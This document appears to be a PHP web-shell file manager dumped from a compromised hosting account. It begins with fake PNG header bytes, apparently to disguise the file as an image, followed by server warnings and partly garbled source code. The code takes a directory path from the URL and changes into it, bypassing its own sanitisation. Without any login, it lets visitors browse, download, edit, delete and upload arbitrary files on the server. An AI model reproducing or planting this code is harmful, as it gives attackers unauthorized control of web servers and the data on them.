?¡ëPNG
IHDR ? f ??C1 sRGB ??¨¦ gAMA ¡À?¨¹a pHYs ? ??o¡§d GIDATx^¨ª¨¹L¡±¡Âe¡ÂY?a?("Bh?_¨°???¡é¡ì?q5k?*:t0A-o??£¤]VkJ¡éM??f?¡À8\k2¨ªll¡ê1]q?¨´???T
Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in /home/user1137782/www/china1.by/classwithtostring.php on line 86
Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 213
Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 214
Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 215
Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 216
Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 217
Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 218
= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
return $bytes . ' bytes';
}
function get_file_icon($file) {
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
$icons = array(
'pdf' => '📄',
'doc' => '📄', 'docx' => '📄',
'xls' => '📊', 'xlsx' => '📊',
'jpg' => '🖼ï¸', 'jpeg' => '🖼ï¸', 'png' => '🖼ï¸', 'gif' => '🖼ï¸',
'php' => 'ðŸ˜', 'html' => 'ðŸŒ', 'htm' => 'ðŸŒ',
'zip' => '🗜ï¸', 'rar' => '🗜ï¸', 'tar' => '🗜ï¸', 'gz' => '🗜ï¸',
'mp3' => '🎵', 'wav' => '🎵',
'mp4' => '🎬', 'avi' => '🎬', 'mov' => '🎬'
);
return isset($icons[$ext]) ? $icons[$ext] : 'ðŸ“';
}
// ========================
// MAIN CODE
// ========================
$action = isset($_GET['action']) ? $_GET['action'] : 'list';
$path = isset($_GET['path']) ? $_GET['path'] : '';
$path = sanitize_path($path);
// Set full path
if (isset($_GET['path'])) {
$path = $_GET['path'];
chdir($_GET['path']);
} else {
$path = getcwd();
}
$path = str_replace("\\", "/", $path);
$paths = explode("/", $path);
$files = scandir($path);
$files = array_diff($files, array('.', '..'));
// Handle actions
switch ($action) {
case 'download':
$file = isset($_GET['file']) ? $_GET['file'] : '';
$file = sanitize_path($file);
$file_path = $path . '/' . $file;
if (file_exists($file_path) && is_file($file_path)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file_path));
readfile($file_path);
exit;
}
break;
case 'view':
$file = isset($_GET['file']) ? $_GET['file'] : '';
$file = sanitize_path($file);
$file_path = $path . '/' . $file;
if (file_exists($file_path) && is_file($file_path)) {
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$content = file_get_contents($file_path);
}
break;
case 'edit':
$file = isset($_GET['file']) ? $_GET['file'] : '';
$file = sanitize_path($file);
$file_path = $path . '/' . $file;
if (isset($_POST['content'])) {
file_put_contents($file_path, $_POST['content']);
header('Location: ?action=list&path=' . urlencode($path));
exit;
}
if (file_exists($file_path) && is_file($file_path)) {
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$content = file_get_contents($file_path);
}
break;
case 'delete':
$target = isset($_GET['target']) ? $_GET['target'] : '';
$target = sanitize_path($target);
$target_path = $path . '/' . $target;
if (file_exists($target_path)) {
if (is_file($target_path)) {
unlink($target_path);
} elseif (is_dir($target_path)) {
rmdir($target_path);
}
}
header('Location: ?action=list&path=' . urlencode($path));
exit;
case 'upload':
if (isset($_FILES['file']['name']) && $_FILES['file']['name']) {
$upload_path = $path . '/' . basename($_FILES['file']['name']);
move_uploaded_file($_FILES['file']['tmp_name'], $upload_path);
header('Location: ?action=list&path=' . urlencode($path));
exit;
}
break;
case 'mkdir':
if (isset($_POST['dirname']) && $_POST['dirname']) {
$new_dir = $path . '/' . sanitize_path($_POST['dirname']);
mkdir($new_dir);
header('Location: ?action=list&path=' . urlencode($path));
exit;
}
break;
case 'rename':
if (isset($_POST['oldname']) && $_POST['oldname'] && isset($_POST['newname']) && $_POST['newname']) {
$old_path = $path . '/' . sanitize_path($_POST['oldname']);
$new_path = $path . '/' . sanitize_path($_POST['newname']);
rename($old_path, $new_path);
header('Location: ?action=list&path=' . urlencode($path));
exit;
}
break;
}
// List files by default
?>